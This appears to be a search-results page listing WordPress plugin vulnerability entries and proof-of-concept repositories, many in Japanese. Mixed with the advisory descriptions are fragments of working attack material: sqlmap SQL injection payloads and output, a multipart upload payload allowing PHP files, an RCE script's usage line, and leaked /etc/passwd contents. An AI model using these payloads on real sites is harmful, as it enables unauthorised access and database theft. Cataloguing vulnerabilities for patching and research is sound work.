253849 matches found
super-secret-finder
super-secret-finder シークレットマッチング用のBurpプラグイン...
instant-appointment-arbitrary-file-upload
instant-appointment-arbitrary-file-upload instant-appointment - 任意ファイルアップロード 説明 WordPress 用の Instant Appointment プラグインは、バージョン 1.2 以下で任意ファイルアップロードの脆弱性の影響を受けます。これにより、未認証の攻撃者がシェルをアップロードしてコマンドを実行することが可能になります。 詳細 タイプ : プラグイン スラッグ : instant-appointment 影響を受けるバージョン : 1.2 CVSS スコア : 9.8 CVSS レーティング : 高...
health-check
health-check Health Check & Troubleshooting daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin...
sudowp-hooks-visualizer
SudoWP Hooks Visualizer 기여자: SudoWP, WP Republic 원저자: Stuart O'Brien, cxThemes 태그: hooks, actions, filters, developer-tool, debug, security-fork, cve-2024-6297 최소 요구 버전: 5.8 테스트 완료 버전: 6.7 안정 태그: 1.3.2 라이선스: GPLv2 또는 이후 버전 보안 공지 CVE-2024-6297 이것은 중단된 "Simply Show Hooks" 플러그인의 보안 강화 포크 입니다. 원본 플러그...
simple-file-list-rce
simple-file-list-rce Simple File List 4.2.3 - 未認証の任意ファイルアップロード RCE usage: simple.py -h -u URL -f1 FILE1 -f2 FILE2 -p PATH optional arguments: -h, --help show this help message and exit -u URL, --url URL Wordpress Url i.e https://wordpress.lan -f1 FILE1, --file1 FILE1 Harmless File Name -f2 FILE2,...
learning-management-system
learning-management-system Masteriyo - WordPress用LMS = 1.6.7 - 機密情報の露出 プラグイン情報 Software Type Plugin Software Slug learning-management-system view on wordpress.org Patched? Yes Remediation Update to version 1.6.8, or a newer patched version Affected Version 1.6.8 Patched Version 1.6.8 CVS...
e-signature-poc
e-signature-poc e-signature --------------------------04406918fd5cbc2b Content-Disposition: form-data; name="extensions" jpg,png,pdf,php3 --------------------------04406918fd5cbc2b Content-Disposition: form-data; name="filesize" 2 --------------------------04406918fd5cbc2b Content-Disposition:...
CVE-2024-12594
CVE-2024-12594 ALL In One Custom Login Page history.pushState'', '', '/'; document.forms0.submit; "success":true,"data":"tempurl":"https://wp-dev.ddev.site?tempa...
CVE-2024-12558
CVE-2024-12558 WP BASE Booking of Appointments, Services and Events history.pushState'', '', '/'; document.forms0.submit;...
CVE-2024-12535
CVE-2024-12535 Host PHP Info = 1.0.4 - 未認証の機密情報開示を許す認可の欠如 説明 Host PHP Info WordPress プラグインは、バージョン 1.0.4 までの全バージョンにおいて、'phpinfo' 関数を含める際に権限チェックが欠如しているため、データへの不正アクセスに対して脆弱です。これにより、未認証の攻撃者がサイトのサーバー上の構成設定や定義済み変数を読み取ることが可能になります。この脆弱性が悪用されるために、プラグインが有効化されている必要はありません。 詳細 タイプ : プラグイン スラッグ : host-php-info...
CVE-2024-55988
CVE-2024-55988 Navayan CSV Export = 1.0.9 - 未認証のSQLインジェクション 説明 WordPress用プラグイン「Navayan CSV Export」は、バージョン1.0.9まで（1.0.9を含む）において、ユーザー指定パラメータのエスケープが不十分で、既存のSQLクエリの準備が十分でないため、SQLインジェクションに対して脆弱です。これにより、認証されていない攻撃者が既存のクエリに追加のSQLクエリを付け加えることが可能になり、データベースから機密情報を抽出するために利用される可能性があります。 詳細 タイプ : プラグイン スラッグ :...
CVE-2024-55982
CVE-2024-55982 Share Buttons – Social Media = 1.0.2 - 認証なしSQLインジェクション 説明 WordPress 用プラグイン Share Buttons – Social Media は、バージョン 1.0.2 以前において、ユーザー指定パラメータのエスケープ処理が不十分で、既存の SQL クエリの準備が十分でないため、SQL インジェクションに対して脆弱です。これにより、認証されていない攻撃者は既存のクエリに追加の SQL クエリを付加して、データベースから機密情報を抽出することが可能になります。 詳細 タイプ : plugin...
CVE-2024-55981
CVE-2024-55981 Nabz Image Gallery = 5.0.12 AND time-based blind query SLEEP Payload: id=1 AND SELECT 6801 FROM SELECTSLEEP5ggHa --- 12:38:48...
CVE-2024-55980
CVE-2024-55980 Wr Age Verification = 5.0.12 time-based blind - Parameter replace Payload: action=getstate&id=CASE WHEN 4695=4695 THEN SLEEP5 ELSE 4695 END Type: UNION query Title: MySQL UNION query random number - 9 columns Payload: action=g...
CVE-2024-55978
CVE-2024-55978 Code Generator Pro = 1.2 - 未認証SQLインジェクション 説明 WordPress 用 Code Generator Pro プラグインは、バージョン 1.2 以前において、ユーザー指定パラメータのエスケープが不十分であり、既存の SQL クエリの事前準備が不足しているため、SQL インジェクションに対して脆弱です。これにより、未認証の攻撃者が既存のクエリに追加の SQL クエリを付加し、データベースから機密情報を抽出できる可能性があります。 詳細 タイプ : プラグイン スラッグ : code-generator-pro...
CVE-2024-55976
CVE-2024-55976 Critical Site Intel = 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause GTIDSUBSET...
CVE-2024-55972
CVE-2024-55972 eTemplates = 5.0.12 AND time-based blind query SLEEP Payload: id=1 AND SELECT 4484 FROM SELECTSLEEP5MYhT --- 12:46:25 INFO testing MySQL do you want sqlmap to t...
CVE-2024-54374
CVE-2024-54374 Sogrid = 1.5.6 - 未認証のローカルファイルインクルード 説明...